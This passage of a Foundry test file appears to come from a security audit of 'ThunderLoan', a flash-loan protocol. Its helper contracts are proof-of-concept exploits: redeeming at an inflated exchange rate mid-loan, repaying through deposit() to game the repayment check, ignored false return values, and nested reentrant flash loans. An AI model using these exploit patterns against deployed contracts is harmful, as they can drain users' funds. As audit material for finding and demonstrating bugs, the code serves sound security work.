        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenB.mint(liquidityProvider, DEPOSIT_AMOUNT);

        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        tokenB.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenB, DEPOSIT_AMOUNT);
        vm.stopPrank();

        console.log("\n=== BUG: Reentrancy on Different Tokens ===");

        ReentrancyTest reentrancy = new ReentrancyTest(address(thunderLoan), address(tokenA), address(tokenB));

        tokenA.mint(address(reentrancy), AMOUNT * 2);
        tokenB.mint(address(reentrancy), AMOUNT * 2);
```

```

        thunderLoan.flashloan(address(reentrancy), tokenA, AMOUNT, "");

        console.log("Nested flash loans executed!");
        console.log("No reentrancy guard prevented this");
    }
}

/*//////////////////////////////////////////////////////////////
                        HELPER CONTRACTS
//////////////////////////////////////////////////////////////*/

contract RateLogger is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    AssetToken public asset;
    uint256 public rateSnapshot;

    constructor(address _asset) {
        asset = AssetToken(_asset);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    )
        external
        returns (bool)
    {
        // Log rate BEFORE repayment
        rateSnapshot = asset.getExchangeRate();

        // Repay
        IERC20(token).safeTransfer(address(asset), amount + fee);
        return true;
    }
}

contract ExploitContract is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    ThunderLoan thunderLoan;
    IERC20 token;
    AssetToken asset;

    constructor(address _thunderLoan, address _token, address _asset) {
        thunderLoan = ThunderLoan(_thunderLoan);
        token = IERC20(_token);
```

```
        asset = AssetToken(_asset);
    }

    function executeOperation(address, uint256 amount, uint256 fee,
        address, bytes calldata) external returns (bool) {
        console.log("  [Exploit] Rate during execution:", asset.
            getExchangeRate());

        // Redeem at inflated rate
        uint256 assetBalance = asset.balanceOf(address(this));
        if (assetBalance > 0) {
            thunderLoan.redeem(token, assetBalance);
            console.log("  [Exploit] Redeemed:", assetBalance);
        }

        // Repay
        token.safeTransfer(address(asset), amount + fee);
        return true;
    }
}

contract FalseReceiver is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    address thunderLoan;
    IERC20 token;

    constructor(address _thunderLoan, address _token) {
        thunderLoan = _thunderLoan;
        token = IERC20(_token);
    }

    function executeOperation(address, uint256 amount, uint256 fee,
        address, bytes calldata) external returns (bool) {
        AssetToken asset = ThunderLoan(thunderLoan).getAssetFromToken(
            token);
        token.safeTransfer(address(asset), amount + fee);

        // Return false - should fail but doesn't!
        return false;
    }
}

contract DirectTransfer is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    address thunderLoan;
    IERC20 token;

    constructor(address _thunderLoan, address _token) {
        thunderLoan = _thunderLoan;
```

```
        token = IERC20(_token);
    }

    function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
        AssetToken asset = ThunderLoan(thunderLoan).getAssetFromToken(token);

        // Direct transfer instead of calling repay()
        token.safeTransfer(address(asset), amount + fee);

        return true;
    }
}

contract DepositOverRepay is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    address thunderLoan;
    IERC20 token;

    constructor(address _thunderLoan, address _token) {
        thunderLoan = _thunderLoan;
        token = IERC20(_token);
    }

    function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
        token.approve(address(thunderLoan), amount + fee);
        (bool success,) = thunderLoan.call(abi.encodeCall(ThunderLoan.deposit, (token, amount + fee)));

        require(success, "Deposit call failed");

        return true;
    }
}

contract ReentrancyTest is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    ThunderLoan thunderLoan;
    IERC20 tokenA;
    IERC20 tokenB;
    bool reentered;

    constructor(address _thunderLoan, address _tokenA, address _tokenB) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tokenA = IERC20(_tokenA);
        tokenB = IERC20(_tokenB);
```

```
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    )
        external
        returns (bool)
    {
        console.log("  [Reentrancy] In executeOperation");

        if (!reentered && token == address(tokenA)) {
            reentered = true;
            console.log("  [Reentrancy] Calling nested flash loan...");

            // Nested flash loan with tokenB
            thunderLoan.flashloan(address(this), tokenB, amount / 2, "");

            console.log("  [Reentrancy] Nested call completed");
        }

        // Repay
        AssetToken asset = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).safeTransfer(address(asset), amount + fee);

        return true;
    }
}
```